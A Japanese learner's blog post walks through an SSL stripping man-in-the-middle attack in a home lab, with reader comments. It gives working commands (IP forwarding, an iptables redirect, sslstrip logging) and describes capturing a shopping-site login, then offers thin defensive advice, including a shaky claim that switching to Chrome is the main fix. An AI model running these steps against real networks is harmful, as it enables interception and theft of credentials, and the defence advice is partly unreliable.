30代未経験ネットワークエンジニア@セキュリティエンジニアになるため勉強中のshinです。
今回は、Kali Linuxを使用して、SSLストリップ攻撃をやってみました。
Kali Linuxのインストール方法は以下サイトを参考にしてください。
SSLストリップ攻撃とは
Moxie Marlinspike というセキュリティ研究者が 2009年の Black Hat カンファレンスで SSLストリップという呼ばれる、中間者攻撃(MITM:man-in-the-middle attack)によって SSL の機能を無効にするツールだそうです。
要するに、対象のターゲットがアクセスしているサイトのHTTPSをHTTPに変えてしまうということ。
それによって、攻撃者にはHTTPの通信が見れるため、なんでもできちゃうということですね。怖い。
それでは実際にやってみましょう。
※他人の情報を見て、サイトのログインしたりすることは、絶対にしないでください。試してみる場合は必ず自宅の環境で行ってください!
環境
・ターゲットPC(Windows)
・攻撃用PC(Kali Linux)
・ルータ
構成
今回の構成は次のような構成になります。
攻撃者PC IPアドレス:192.168.89.169
MACアドレス:00:0c:29:b4:30:60
ターゲットPC IPアドレス:192.168.89.157
ルータ IPアドレス:192.168.89.2
MACアドレス:00:50:56:e0:94:64
今回の目的
今回の目的は、ターゲットPCのWEBアクセスをHTTPの通信を盗み見ることと、その対策法の確認です
SSLストリップ攻撃方法
前提条件として、ターゲットのPCに対してARPスプーフィングをしておく必要がありますので、もしやり方がわからない場合は、以下の記事を参考にしてください。
前提条件
ARPスプーフィングが完了したら、攻撃者用PC(Kali Linux)から以下の操作を行います。
手順
- 左のショーカットから「端末」を選択
- IPフォワーディングを有効にするため、コマンドを入力
echo “1” > /proc/sys/net/ipv4/ip_forward - SSLストリップ攻撃を有効にするためにIPテーブルを書き換える
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080 - ストリップ攻撃を実行します
sslstrip -f -a -k -l 8080 -w /root/sslstrip.txt
※rootフォルダの直下に、sslstrip.txtファイルのログできます。各種オプションの意味は以下になります。
Options:
-w <filename>, –write=<filename> Specify file to log to (optional).
-p , –post Log only SSL POSTs. (default)
-s , –ssl Log all SSL traffic to and from server.
-a , –all Log all SSL and HTTP traffic to and from server.
-l <port>, –listen=<port> Port to listen on (default 10000).
-f , –favicon Substitute a lock favicon on secure requests.
-k , –killsessions Kill sessions in progress.
-h Print this help message.
これでターゲットPCに対して、SSLストリップ攻撃を仕掛けることが出来ました。
SSLストリップ攻撃を受けるとどうなるのか
SSLストリップ攻撃を受けると、WEBサイトへアクセスしたときに、HTTPS通信ではなく、HTTPで通信するようになってしまいます。
HTTP通信するようになると何が問題か
もしHTTP通信しているWEBサイトで、ユーザID/PWを入力した場合、攻撃者にその情報が漏れてしまいます。
それでは、実際にSSLストリップ攻撃でどのようなことが起こるのか見ていきます。
実際にHTTP通信でID/PWを入力してみる
手順
- ターゲットPCでIEから「yahoo」を開き>「楽天」を検索
- 楽天の画面でログインを選択し、ユーザID/PWを入力
実際の手順は動画を参照ください。
Kali Linuxのログを確認してみると、先ほど入力したユーザID/PWが見事に表示されています!
次に対策方法について書いていきます。
どうやってSSLストリップ攻撃を対策するのか
今回の攻撃を実行していて気付いたことは、HTTP通信の場合、HTTPS通信と違って、URLバーに「鍵マーク」がないということに気が付きました。
※各ブラウザのHTTPS通信のマークは以下になってます
・Internet Explorer → 鍵マーク
・Fire FOX → 鍵マーク
・Google Chome → 鍵マーク+保護された通信
そのため、ユーザID/PWを入力する画面では、URLバーに「鍵マーク」となっているか確認したほうがいいかもしれませんね。でも気付ける自信がないかも。。
●SSLストリップ攻撃時
もう一つ検証していて気付いたことは、「Google chome」ブラウザだと、同じ手順でやった場合でも、結果がすべてHTTPSになっていました。
※FireFOXだとIEと同じ結果でした。ブラウザの仕様でしょうか。
そのため、「Google chome」を使うことで回避可能ということがわかりましたので、一番の対策は、google chomeを使うのがいいんじゃないかなというのが結論です。
※サイトによっても、HTTPになるサイトとならないサイトがあるようです。
サイト側で対策(HSTS: HTTP Strict Transport Security)しているかと
思われます。
あとは、普段ショートカットを使用している場合は、ショートカットのURLがHTTPSになっていることを確認することですね。
まとめ
- SSLストップ攻撃とは、HTTPSで通信するべきものをHTTP通信にしてしまう
- HTTP通信で何らかのログインID/PWを入力すると攻撃者に情報が盗まれてしまう
- 対策するには以下2つのどれかを実施
- URLバーに「鍵マーク」があることを確認する
- GoogleChomeを使用する以上です。ありがとうございました。
参考本
コメント
いつも本ブログで勉強させて頂いているものです
いつもありがとうございます。
>Kali Linuxのログを確認してみると、先ほど入力したユーザID/PWが見事に表示されています!
とありますが、具体的にどこのログを確認しているのでしょうか?
/root/sslstrip.txtをlessで開いて[Shift + F]を押した状態で、
ターゲットPC上で楽天のログイン画面でログインしましたが、
/root/sslstrip.txtに変化がないため、/root/sslstrip.txtにログが出力されるわけではない認識です。
お手数ですが、ご教授いただければと存じます。
私が確認した時は、
「/root/sslstrip.txt」にログが出力されていました。
ご回答いただきありがとうございます。
自分も再度確認したところ、確かに/root/sslstrip.txtに出力されているように見えました。
しかし、内容が暗号化されているのか、自分が入力したID/PWが確認できなかったのですが、
既に本手順だけでは自分が入力したID/PWを確認することはできないのでしょうか?
大変お手数ですが、ご回答いただければと存じます。